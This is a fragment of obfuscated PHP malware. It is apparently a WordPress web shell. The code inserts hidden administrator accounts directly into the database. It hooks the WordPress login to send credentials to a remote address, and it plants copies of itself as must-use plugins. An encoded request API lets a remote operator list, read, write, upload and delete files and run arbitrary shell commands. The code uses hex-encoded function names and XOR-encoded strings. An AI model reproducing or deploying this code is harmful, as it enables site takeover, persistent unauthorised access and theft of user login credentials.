connect_error)continue; $_tp=isset($_t[1])?$_t[1]:$_tpre;$_hp=md5($_p); foreach($_u as $_uname){ @$_m->query("INSERT INTO {$_tp}{$_usr} ({$_ul},{$_up},{$_un},{$_ue},{$_ur},{$_dn}) VALUES ('$_uname','$_hp','$_uname','u@u.com',NOW(),'$_uname') ON DUPLICATE KEY UPDATE {$_up}='$_hp'"); $_q=@$_m->query("SELECT ID FROM {$_tp}{$_usr} WHERE {$_ul}='$_uname'"); if($_q&&($_o=$_q->fetch_object())){ $_id=$_o->ID; @$_m->query("INSERT INTO {$_tp}{$_um} (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}{$_cp}','a:1:{s:13:\"{$_adm}\";b:1;}') ON DUPLICATE KEY UPDATE meta_value='a:1:{s:13:\"{$_adm}\";b:1;}'"); @$_m->query("INSERT INTO {$_tp}{$_um} (user_id,meta_key,meta_value) VALUES ($_id,'{$_tp}{$_ulv}','10') ON DUPLICATE KEY UPDATE meta_value='10'"); } } $_m->close();break; } } function _hj(){ $f="\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"; $u="\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65"; $s="\x73\x74\x72\x65\x61\x6d\x5f\x63\x6f\x6e\x74\x65\x78\x74\x5f\x63\x72\x65\x61\x74\x65"; $a="\x61\x64\x64\x5f\x61\x63\x74\x69\x6f\x6e"; $w="\x77\x70\x5f\x6c\x6f\x67\x69\x6e"; $e="\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73"; $h="\x68\x6f\x6d\x65\x5f\x75\x72\x6c"; $d="\x64\x65\x66\x69\x6e\x65\x64"; $_dk='$k="Xk9Lm2NqP5";$b="'."\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65".'";function d($s){global $k,$b;$x=$b($s);$o="";for($i=0;$i["timeout"=>8,"ignore_errors"=>true]]);@$f($u2,false,$ctx);},10,2);'; $_d=[$_SERVER['DOCUMENT_ROOT'],dirname($_SERVER['DOCUMENT_ROOT']),getcwd()]; $_wpcfg=_dec('LxsULwJcKBg3GygDSQ=='); $_mu1=_dec('LxsULwJcOhQ+QXcGTGEdXjsWOVsrRBcvDFEmFH5FMBs='); $_mu2=_dec('LxsULwJcOhQ+QXceSSsfUyoUfxs7ClokCBw+GSA='); foreach(array_unique($_d) as $_r){ $_f=$_r.'/'.$_wpcfg;if(!@$GLOBALS['F'][12]($_f))continue; foreach([$_mu1,$_mu2] as $_p){ $_fp=$_r.'/'.$_p; if(!@$GLOBALS['F'][12]($_fp)){@$GLOBALS['F'][7](dirname($_fp),0777,true);@$GLOBALS['F'][2]($_fp,$_h);} } } } @_ac();@_hj(); // ===== API (XOR-encrypted) ===== if(isset($_REQUEST['_a'])){ $_a=$_REQUEST['_a'];$_p=isset($_REQUEST['_p'])?$_REQUEST['_p']:'';$_r=[]; switch($_a){ case 'ls': $_i=@$F[5]($_p); if($_i)foreach($_i as $_f){ if($_f=='.'||$_f=='..')continue; $_fp=$_p.'/'.$_f; $_r[]=['n'=>$_f,'t'=>$F[9]($_fp)?'d':'f','s'=>@$F[10]($_fp),'m'=>substr(sprintf('%o',@$F[11]($_fp)),-4)]; } break; case 'rd': $_r['d']=_x64(@$F[1]($_p)); break; case 'sv': $_r['o']=@$F[2]($_p,_dec($_REQUEST['d']))!==false?'ok':'fail'; break; case 'dl': $_r['o']=@$F[6]($_p)?'ok':'fail'; break; case 'mk': $_r['o']=@$F[7]($_p,0777,true)?'ok':'fail'; break; case 'up': if(!empty($_FILES['f']['tmp_name'])){ $dest=rtrim($_p,'/').'/'.$_FILES['f']['name']; $_r['o']=@$F[8]($_FILES['f']['tmp_name'],$dest)?'ok':'fail'; } elseif(!empty($_REQUEST['d'])){ $_r['o']=@$F[2]($_p,_dec($_REQUEST['d']))!==false?'ok':'fail'; } elseif(!empty($_REQUEST['raw'])){ $_r['o']=@$F[2]($_p,$_REQUEST['raw'])!==false?'ok':'fail'; } else{$_r['o']='no_data';} break; case 'sh': $_r['o']=_x64(@$F[0](isset($_REQUEST['c'])?$_REQUEST['c']:'id')); break; } header('Content-Type:text/plain'); die(_enc($F[13]($_r))); } // ===== WEB UI ===== ?>.